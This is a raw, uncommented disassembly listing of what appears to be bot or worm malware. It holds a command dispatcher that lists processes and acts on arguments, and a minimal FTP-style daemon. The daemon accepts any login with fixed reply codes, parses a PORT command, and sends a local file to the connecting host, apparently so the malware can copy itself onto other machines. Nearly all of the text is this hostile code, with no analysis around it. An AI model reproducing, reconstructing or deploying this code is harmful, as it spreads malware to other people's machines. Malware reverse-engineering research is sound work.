var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_44500C
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_445000
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FF8
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FEC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449287
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8EAB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44965F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8EAB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8EAB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E54
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DC8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44965F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449968
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445088 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445088 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445088 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445088 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445088 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445088 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5F74D1
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		nop
		call	near ptr 77C41574h
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DC8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449968
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2830000h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E54
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
